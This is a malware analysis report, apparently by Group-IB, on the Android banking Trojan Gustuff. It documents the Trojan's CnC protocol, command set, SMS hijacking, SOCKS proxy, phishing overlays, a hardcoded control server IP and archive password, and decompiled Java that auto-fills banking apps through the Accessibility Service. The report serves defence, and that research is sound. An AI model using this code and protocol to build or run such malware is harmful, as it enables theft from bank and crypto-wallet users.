How the Android Gustuff Trojan removes cream (fiat and crypto) from your accounts

Just the other day, Group-IB reported on the activity of the Android mobile Trojan Gustuff. It works exclusively in international markets, attacking customers of the 100 largest foreign banks, users of 32 mobile crypto-wallets, as well as large e-commerce resources. But the developer of Gustuff is a Russian-speaking cybercriminal under the nickname Bestoffer. Until recently, he praised his trojan as “a serious product for people with knowledge and experience.” Ivan Pisarev, a
specialist in analyzing Group-IB malicious code, in his research tells in detail about how Gustuff works and what is its danger.
Who is Gustuff hunting for?
Gustuff is a new generation of malware with fully automated features. According to the developer, the trojan has become a new improved version of the AndyBot malware, which since November 2017 has been attacking Android phones and stealing money through phishing web forms that masquerade as mobile applications of well-known international banks and payment systems. Bestoffer reported that the Gustuff Bot rental price was $ 800 per month.
Analysis of the Gustuff sample showed that the Trojan is potentially aimed at customers using mobile applications of the largest banks, such as Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, as well as Bitcoin Wallet, BitPay crypto wallets , Cryptopay, Coinbase, etc.
Originally created as a classic banking trojan, the current version of Gustuff has significantly expanded the list of potential targets for attack. In addition to Android applications of banks, fintech companies and crypto services, Gustuff is aimed at users of marketplace applications, online stores, payment systems and instant messengers. In particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut and others.
Entry point: calculation for mass infection
Gustuff is characterized by the "classic" vector of penetration into Android smartphones through SMS mailing with links to APKs. If the Android device is infected with a trojan at the command of the server, Gustuff may spread further through the contacts database of the infected phone or through the server database. The functionality of Gustuff is designed for mass infection and maximum capitalization of the business of its operators - it has a unique function of “auto-filling” into legitimate mobile banking applications and crypto-wallets, which allows you to accelerate and scale the theft of money.
The study of the Trojan showed that the auto-fill function was implemented in it using the Accessibility Service - a service for people with disabilities. Gustuff is not the first trojan that successfully bypasses protection against interaction with window elements of other applications using this Android service. However, the use of the Accessibility Service in conjunction with the auto-loading is still quite rare.
After downloading the victim to the phone, Gustuff, using the Accessibility Service, gets the opportunity to interact with window elements of other applications (banking, cryptocurrency, as well as applications for online shopping, messaging, etc.), performing the necessary actions for the attackers. For example, at the command of the server, the trojan can click on buttons and change the values of text fields in banking applications. Using the Accessibility Service mechanism allows the Trojan to bypass the protection mechanisms used by banks to counter mobile Trojans of the previous generation, as well as changes in the security policy introduced by Google in new versions of the Android OS. So, Gustuff "knows how" to disable Google Protect protection: according to the author, this function works in 70% of cases.

Gustuff can also display fake PUSH notifications with icons of legitimate mobile applications. The user clicks on the PUSH notification and sees a phishing window downloaded from the server, where he himself enters the requested data of a bank card or crypto wallet. In another Gustuff scenario, an application opens on behalf of which a PUSH notification was displayed. In this case, the malicious program, upon the command of the server through the Accessibility Service, can fill in the form fields of the banking application for a fraudulent transaction.
Gustuff’s functionality also includes sending information about an infected device to the server, the ability to read / send SMS messages, send USSD requests, launch SOCKS5 Proxy, follow the link, send files (including photo scans of documents, screenshots, photos) to the server reset the device to factory settings.
Malware analysis
Before installing a malicious application, Android OS displays to the user a window containing a list of the rights requested by Gustuff:

Installation of the application will occur only after obtaining user consent. After launching the application, the trojan will show the user a window:

Then it will delete its icon.
Gustuff is packaged, according to the author, by an FTT packer. After starting, the application periodically accesses the CnC server in order to receive commands. In several files we examined, the IP address 88.99.171 [.] 105 was used as the control server (hereinafter, we will denote it as <% CnC%> ).
After starting, the program starts sending messages to the server http: // <% CnC%> /api/v1/get.php .
As an answer, JSON is expected in the following format:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
Each time the application sends information about an infected device. The format of the message is presented below. It is worth noting that the full , extra , apps and permission fields are optional and will be sent only in case of a request command from CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Configuration Data Storage
Gustuff stores important work information in a preference file. The file name, as well as the parameter names in it, is the result of calculating the MD5 sum from the line 15413090667214.6.1 <% name%> , where <% name%> is the original name-value. Python interpretation of the name generation function:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
In what follows, we will denote it as nameGenerator (input) .
Thus, the name of the first file is: nameGenerator ("API_SERVER_LIST") , it contains values with the following names:
Variable name | Value |
---|---|
nameGenerator ("API_SERVER_LIST") | Contains a list of CnC addresses as an array. |
nameGenerator ("API_SERVER_URL") | Contains a CnC address. |
nameGenerator ("SMS_UPLOAD") | The flag is set by default. If the flag is set - sends SMS messages to CnC. |
nameGenerator ("SMS_ROOT_NUMBER") | The phone number to which SMS messages received by the infected device will be sent. The default is null. |
nameGenerator ("SMS_ROOT_NUMBER_RESEND") | The flag is cleared by default. If installed, when an infected device receives an SMS, it will be sent to the root number. |
nameGenerator ("DEFAULT_APP_SMS") | The flag is cleared by default. If this flag is set, the application will process incoming SMS messages. |
nameGenerator ("DEFAULT_ADMIN") | The flag is cleared by default. If the flag is set, the application has administrator rights. |
nameGenerator ("DEFAULT_ACCESSIBILITY") | The flag is cleared by default. If the flag is set, a service using the Accessibility Service is started. |
nameGenerator ("APPS_CONFIG") | The JSON object contains a list of actions that must be performed when the Accessibility event associated with a particular application is triggered. |
nameGenerator ("APPS_INSTALLED") | Stores a list of applications installed on the device. |
nameGenerator ("IS_FIST_RUN") | The flag is reset on first start. |
nameGenerator ("UNIQUE_ID") | Contains a unique identifier. It is generated at the first launch of the bot. |
Server command processing module
The application stores the addresses of CnC servers as an array of Base85 encoded strings. The list of CnC servers can be changed upon receipt of the appropriate command, in which case the addresses will be stored in a preference file.
In response to the request, the server sends a command to the application. It is worth noting that the commands and parameters are presented in JSON format. An application can process the following commands:
Command | Description |
---|---|
forwardStart | Start sending SMS messages received by the infected device to the CnC server. |
forwardStop | Stop sending SMS messages received by the infected device to the CnC server. |
ussdRun | Run the USSD request. The number to which you want to make a USSD request is in the JSON field "number". |
sendSms | Send one SMS-message (if necessary, the message is "split" into parts). As a parameter, the command takes a JSON object containing the “to” fields - the destination number and “body” - the message body. |
sendSmsAb | Send SMS messages (if necessary, the message is "split" into parts) to everyone from the contact list of the infected device. The interval between sending messages is 10 seconds. The message body is in the JSON field "body" |
sendSmsMass | Send SMS messages (if necessary, the message is "split" into parts) to the contacts specified in the command parameters. The interval between sending messages is 10 seconds. As a parameter, the command accepts a JSON array (field "sms"), the elements of which contain the fields "to" - the destination number and "body" - the body of the message. |
changeServer | This command as a parameter can take a value with the key “url” - then the bot will change the value of nameGenerator (“SERVER_URL”), or “array” - then the bot will write the array to nameGenerator (“API_SERVER_LIST”) Thus, the application changes the address of CnC servers. |
adminNumber | The command is designed to work with the root number. The command accepts a JSON object with the following parameters: “number” - change nameGenerator (“ROOT_NUMBER”) to the received value, “resend” - change nameGenerator (“SMS_ROOT_NUMBER_RESEND”), “sendId” - send to nameGenerator (“ROOT_NUMBER”) uniqueID. |
updateInfo | Send information about an infected device to the server. |
wipeData | The command is designed to delete user data. Depending on which name the application was launched, either data is completely erased with the device rebooting (primary user), or only user data is deleted (secondary user). |
socksStart | Launch the proxy module. The operation of the module is described in a separate section. |
socksStop | Stop the proxy module. |
openLink | Follow the link. The link is located in the JSON parameter by the key "url". To open the link, use "android.intent.action.VIEW". |
uploadAllSms | Send to the server all SMS messages received by the device. |
uploadAllPhotos | Send images from an infected device to the URL. The URL comes as a parameter. |
uploadFile | Send the file to the URL from the infected device. The URL comes as a parameter. |
uploadPhoneNumbers | Send phone numbers from the contact list to the server. If a JSON object with the key “ab” comes as a parameter, the application receives the list of contacts from the phone book. If a JSON object with the “sms” key comes as a parameter, the application reads the contact list from the senders of SMS messages. |
changeArchive | The application downloads the file from the address, which comes as a parameter with the key "url". The downloaded file is saved with the name "archive.zip". After that, the application will unzip the file, if necessary, using the password for the archive “b5jXh37gxgHBrZhQ4j3D”. Unzipped files are saved in the [external storage] / hgps directory. In this directory, the application stores web fakes (described later). |
actions | The command is designed to work with the Action Service, which is described in a separate section. |
test | Doing nothing. |
download | The command is designed to download a file from a remote server and save it to the Downloads directory. The URL and the file name come as a parameter, the fields in the JSON object parameter, respectively: "url" and "fileName". |
remove | Deletes a file from the Downloads directory. The file name comes in the JSON parameter with the key "fileName". The default file name is “tmp.apk”. |
notification | Show a notification with description and title texts defined by the management server. |
The format of the notification command is :
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
The notification generated by the investigated file looks identical to the notifications created by the application specified in the app field . If the value of the openApp field is True, when the notification is opened, the application specified in the app field is launched . If the value of the openApp field is False, then:
- a phishing window opens, the contents of which are downloaded from the directory <% external storage%> / hgps / <% filename%>
- a phishing window opens, the contents of which are downloaded from the server <% url%>? id = <% Bot id%> & app = <% Application name%>
- A phishing window disguised as a Google Play Card opens, with the ability to enter card information.
The application sends the result of the execution of any command to <% CnC%> \ set_state.php as a JSON object of the following format:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
The list of commands that the application processes includes action . Upon receipt of a command, the command processing module accesses this service in order to execute an extended command. The service accepts a JSON object as a parameter. The service can execute the following commands:
1. PARAMS_ACTION - upon receipt of such a command, the service first of all receives from the JSON parameter the value by the Type key, it may be as follows:
- serviceInfo - the subcommand receives from the JSON parameter the value of the includeNotImportant key . If the flag is True, the application sets the FLAG_ISOLATED_PROCESS flag to a service that uses the Accessibility Service. Thus, the service will be launched in a separate process.
- root - get and send to the server information about the window, which is now in focus. An application retrieves information using the AccessibilityNodeInfo class.
- admin - request administrator rights.
- delay - suspend the ActionsService for the number of milliseconds that is specified in the parameter with the "data" key.
- windows - send a list of windows visible to the user.
- install - install the application on an infected device. The name of the package - archive is in the key "fileName". The archive itself is located in the Downloads directory.
- global - the subcommand is designed to transition from the current window:
- on the Quick Settings menu
- back
- home
- to notifications
- to the window of recently opened applications
- launch - launch the application. The name of the application comes as a parameter by the data key .
- sounds - change the sound mode to silence.
- unlock - turns on the backlight of the screen and keyboard at full brightness. The application performs this action using WakeLock, the string [Application lable]: INFO
- permissionOverlay - the function is not implemented (the response to the command execution is {"message": "Not support"} or {"message": "low sdk"})
- gesture - the function is not implemented (the response to the execution of the command is {"message": "Not support"} or {"message": "Low API"})
- permissions - this command is required to request permissions for the application. However, the query function is not implemented, so the command does not make sense. The list of requested rights comes as a JSON array with the key "permissions". Standard list:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open - display a phishing window. Depending on the parameter coming from the server, the application may display the following phishing windows:
- Show a phishing window, the contents of which are written in the file in the directory <% external directory%> / hgps / <% param_filename%> . The result of user interaction with the window will be sent to <% CnC%> / records.php
- Show a phishing window whose contents are preloaded from the address <% url_param%>? Id = <% bot_id%> & app = <% packagename%> . The result of user interaction with the window will be sent to <% CnC%> / records.php
- Show phishing window disguised as a Google Play Card.
- interactive - the command is designed to interact with window elements of other applications using AcessibilityService. For interaction, a special service is implemented in the program. The application under study can interact with the windows:
- Active at the moment. In this case, the parameter contains the id or text (name) of the object with which it is necessary to interact.
- Visible to the user at the time the command is executed. The application selects windows by id.
Having received AccessibilityNodeInfo objects for window elements of interest, the application, depending on parameters, can perform actions:- focus - set focus to the object.
- click - click on an object.
- actionId - perform an action by ID.
- setText - change the text of the object. You can change the text in two ways: perform the ACTION_SET_TEXT action (if the Android version of the infected device is younger or equal to LOLLIPOP ), or by placing a line in the clipboard and pasting it into the object (for versions older). This command can be used to change data in a banking application.
2. PARAMS_ACTIONS - the same as PARAMS_ACTION , only the JSON array of commands comes.
It seems that many will be interested in what the function of interacting with window elements of another application looks like. This is how this functionality is implemented in Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Text Replacement Function:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Thus, if the control server is configured correctly, Gustuff is able to fill in the text fields in the banking application and click on the buttons necessary for the transaction. The Trojan does not even need to be authorized in the application - just send a command to demonstrate the PUSH notification, followed by opening the previously installed banking application. The user will go through authorization, after which Gustuff will be able to autofill.
SMS processing module
The application sets the event handler to accept SMS messages by the infected device. The application under study can receive commands from the operator that come in the body of SMS messages. The commands come in the format:
7! 5 = <% Base64 encoded command%> The
application looks for 7! 5 = in all incoming SMS messages , when it detects a line, it decodes the Base64 line at offset 4 and executes the command. Commands are similar to commands with CnC. The result of the execution is sent to the same number from which the command came. Response format:
7 * 5 = <% Base64 encode of "result_code command"%>
Optionally, the application can send all received messages to the Root number. To do this, a Root number must be specified in the preference file and the message redirect flag is set. An SMS message is sent to the attacker number in the format:
<% From number%> - <% Time, format: dd / MM / yyyy HH: mm: ss%> <% SMS body%>
Also, the application can optionally send messages to CnC. The SMS message is sent to the server in JSON format:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
If the flag nameGenerator ("DEFAULT_APP_SMS") is set, the application stops processing SMS messages and clears the list of incoming messages.
Proxy module
In the application under study, there is a Backconnect Proxy module (hereinafter referred to as the Proxy module), which has a separate class that includes static fields with configuration. The configuration data is stored in the sample in open form:

All actions performed by the Proxy-module are logged to files. To do this, the application in External Storage creates a directory called "logs" (the ProxyConfigClass.logsDir field in the configuration class), in which the log files are stored. Logging occurs in files with names:
- main.txt - this class logs the operation of the class with the name CommandServer. In the future, the logging of the string str to this file will be denoted as mainLog (str).
- session - <% id%>. txt - the log data associated with a specific proxy session is saved to this file. Further logging of the string str to this file will be referred to as sessionLog (str).
- server.txt - this data logs all the data written to the above files.
Log data format:
<% Date%> [Thread [<% thread id%>], id []]: log-string
Exceptions that occur during the operation of the Proxy module are also logged to the file. For this, the application generates a JSON object of the format:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Then it converts it to a string representation and logs.
The proxy module is launched after the receipt of the appropriate team. When a command arrives to start the Proxy module, the application starts a service called MainService , which is responsible for controlling the operation of the Proxy module - its start and stop.
Stages of starting the service:
1. Starts a timer that works once a minute and checks the activity of the Proxy-module. If the module is not active, it starts it.
Also, when the android.net.conn.CONNECTIVITY_CHANGE event is triggered , the Proxy module starts.
2. The application creates a wake-lock with the PARTIAL_WAKE_LOCK parameterand captures it. Therefore, it does not allow the device’s CPU to enter sleep mode.
3. Runs the proxy module command processing class by logging the line mainLog (“start server”) and
Server :: start () host [<% proxy_cnc%>], commandPort [<% command_port%>], proxyPort [<% proxy_port %>]
where proxy_cnc, command_port and proxy_port are the parameters obtained from the proxy server configuration.
The command processing class is called CommandConnection . Immediately after launch, it performs the following actions:
4. Connects to ProxyConfigClass.host : ProxyConfigClass.commandPort and sends there the data about the infected device in JSON format:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Where:
- id - identifier, trying to get the value with the field "id" from the Shared Preference file with the name "x". If this value could not be obtained, it generates a new one. Thus, the proxy module has its own identifier, which is generated similarly to Bot ID.
- imei - IMEI devices. If an error occurred while receiving the value, a text error message will be written instead of this field.
- imsi - International Mobile Subscriber Identity devices. If an error occurred while receiving the value, a text error message will be written instead of this field.
- model - The end-user-visible name for the end product.
- manufacturer - The manufacturer of the product / hardware (Build.MANUFACTURER).
- androidVersion - a string in the format "<% release_version%> (<% os_version%>), <% sdk_version%>"
- country - the current location of the device.
- partnerId is an empty string.
- packageName - package name.
- networkType - type of the current network connection (example: "WIFI", "MOBILE"). In case of an error, returns null.
- hasGsmSupport - true - if the phone supports GSM, otherwise false.
- simReady - state of the SIM card.
- simCountry - ISO-code of the country (based on the provider of the SIM card).
- networkOperator - name of the operator. If an error occurred while receiving the value, a text error message will be written instead of this field.
- simOperator - The Service Provider Name (SPN). If an error occurred while receiving the value, a text error message will be written instead of this field.
- version - this field is stored in the config class, for the studied bot versions it was equal to "1.6".
5. Goes to standby commands from the server. Commands from the server come in the format:
- 0 offset - command
- 1 offset - sessionId
- 2 offset - length
- 4 offset - data
When a command arrives, the application logs:
mainLog ("Header {sessionId <% id%>], type [<% command%>], length [<% length%>]}")
The following commands from the server are possible:
Name | Command | Data | Description |
---|---|---|---|
connectionId | 0 | Connection ID | Create a new connection |
SLEEP | 3 | Time | Pause the proxy module |
PING_PONG | 4 | - | Send PONG message |
The PONG message consists of 4 bytes and looks like this: 0x04000000 .
When the connectionId command arrives (to create a new connection), the CommandConnection creates an instance of the ProxyConnection class .
- Two classes participate in proxying: ProxyConnection and end . When creating the ProxyConnection class , it connects to the ProxyConfigClass.host : ProxyConfigClass.proxyPort address and passes the JSON object:
{
"id":<%connectionId%>
}
In response, the server sends a SOCKS5 message that contains the address of the remote server with which it is necessary to establish a connection. Interaction with these servers occurs through the end class . Schematically, the installation of the connection can be represented as follows:

Network interactions
To prevent traffic analysis by network sniffers, the interaction between the CnC server and the application can be protected using SSL. All data transmitted both from the server and to the server is presented in JSON format. The application in progress performs the following requests:
- http: // <% CnC%> /api/v1/set_state.php - the result of the command.
- http: // <% CnC%> /api/v1/get.php - receiving a command.
- http: // <% CnC%> /api/v1/load_sms.php - downloading SMS messages from an infected device.
- http: // <% CnC%> /api/v1/load_ab.php - download the contact list from an infected device.
- http: // <% CnC%> /api/v1/aevents.php - the request is made when updating the parameters located in the preference file.
- http://<%CnC%>/api/v1/set_card.php — выгрузка данных, полученных при помощи фишинг-окна, маскирующегося под Google Play Market.
- http://<%CnC%>/api/v1/logs.php – выгрузка лог-данных.
- http://<%CnC%>/api/v1/records.php – выгрузка данных, полученных при помощи фишинговых окон.
- http://<%CnC%>/api/v1/set_error.php – оповещение о возникшей ошибке.
Рекомендации
In order to protect their customers from the threat of mobile Trojans, companies must use integrated solutions that allow you to monitor and prevent malicious activity without installing additional software on users ’devices.
For this, signature methods for detecting mobile trojans must be strengthened by technologies for analyzing the behavior of both the client and the application itself. Also, protection should include the function of identifying devices using digital fingerprint technology, which will make it possible to understand when an account is used from an atypical device and has already fallen into the hands of a fraudster.
A fundamentally important point is the availability of cross-channel analysis, which allows companies to control the risks that arise not only on the Internet, but also on the mobile channel, for example, in applications for mobile banking, for operations with cryptocurrencies and any others where it may be performed financial transaction.
Security rules for users:
- Do not install applications for a mobile device with Android OS from any sources other than Google Play;
- when installing the application, pay special attention to the rights requested by the application;
- regularly install Android OS updates;
- Pay attention to the extensions of the downloaded files;
- Do not visit suspicious resources;
- Do not click on links received in SMS messages.
With the participation of Semyon Rogachev , Junior Specialist in Malware Research, Group-IB Laboratory of Computer Forensics.